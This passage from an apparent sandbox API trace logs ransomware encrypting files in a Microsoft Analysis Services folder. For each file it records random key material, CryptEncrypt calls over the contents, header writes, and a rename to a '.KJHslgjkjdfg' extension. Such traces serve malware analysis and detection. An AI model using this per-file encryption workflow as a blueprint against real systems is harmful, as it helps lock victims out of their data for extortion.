lpOverlapped=0x0) returned 1 [0180.795] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.795] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.795] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.796] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.796] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.796] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.796] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4360, lpOverlapped=0x0) returned 1 [0180.797] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4360, dwBufLen=0x4360 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4360) returned 1 [0180.797] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.797] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4360, lpOverlapped=0x0) returned 1 [0180.797] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.797] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.798] SetEndOfFile (hFile=0x12c) returned 1 [0180.800] GetProcessHeap () returned 0x990000 [0180.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.800] GetProcessHeap () returned 0x990000 [0180.800] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.kjhslgjkjdfg")) returned 1 [0180.801] CloseHandle (hObject=0x12c) returned 1 [0180.804] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0180.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.805] GetProcessHeap () returned 0x990000 [0180.805] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.805] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.805] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.805] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0180.807] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.807] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.807] GetProcessHeap () returned 0x990000 [0180.807] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.808] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.808] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.808] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.808] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.808] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.808] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.808] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.808] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.808] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.808] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.808] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4932, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4932, lpOverlapped=0x0) returned 1 [0180.809] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4940, dwBufLen=0x4940 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4940) returned 1 [0180.809] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.809] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4940, lpOverlapped=0x0) returned 1 [0180.809] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.810] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.810] SetEndOfFile (hFile=0x12c) returned 1 [0180.812] GetProcessHeap () returned 0x990000 [0180.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.812] GetProcessHeap () returned 0x990000 [0180.812] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.kjhslgjkjdfg")) returned 1 [0180.815] CloseHandle (hObject=0x12c) returned 1 [0180.815] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0180.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.816] GetProcessHeap () returned 0x990000 [0180.816] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.816] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.816] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.816] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0180.818] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.819] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.819] GetProcessHeap () returned 0x990000 [0180.819] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.819] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0180.819] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.819] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0180.819] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.819] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.819] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.819] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.819] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.819] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.819] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.819] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.820] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x78e4, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x78e4, lpOverlapped=0x0) returned 1 [0180.821] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x78f0, dwBufLen=0x78f0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x78f0) returned 1 [0180.821] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.821] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x78f0, lpOverlapped=0x0) returned 1 [0180.822] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.822] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x79c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.822] SetEndOfFile (hFile=0x12c) returned 1 [0180.824] GetProcessHeap () returned 0x990000 [0180.824] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.824] GetProcessHeap () returned 0x990000 [0180.824] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.824] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.kjhslgjkjdfg")) returned 1 [0180.825] CloseHandle (hObject=0x12c) returned 1 [0180.825] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0180.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.826] GetProcessHeap () returned 0x990000 [0180.826] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.826] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.826] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.826] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0180.828] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.828] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.828] GetProcessHeap () returned 0x990000 [0180.828] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0180.828] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0180.828] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.828] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0180.828] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.828] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.828] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.829] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.829] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.829] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.829] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.829] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.829] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x712e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x712e, lpOverlapped=0x0) returned 1 [0180.830] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7130, dwBufLen=0x7130 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7130) returned 1 [0180.830] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.831] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7130, lpOverlapped=0x0) returned 1 [0180.831] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.831] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x71f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.831] SetEndOfFile (hFile=0x12c) returned 1 [0180.833] GetProcessHeap () returned 0x990000 [0180.834] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0180.834] GetProcessHeap () returned 0x990000 [0180.834] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.kjhslgjkjdfg")) returned 1 [0180.834] CloseHandle (hObject=0x12c) returned 1 [0180.835] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0180.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.847] GetProcessHeap () returned 0x990000 [0180.847] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.847] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.847] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.847] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.849] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.849] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.849] GetProcessHeap () returned 0x990000 [0180.849] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.849] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0180.849] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.850] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0180.850] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.850] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.850] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.850] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.850] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.850] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.850] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.850] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.850] ReadFile (in: 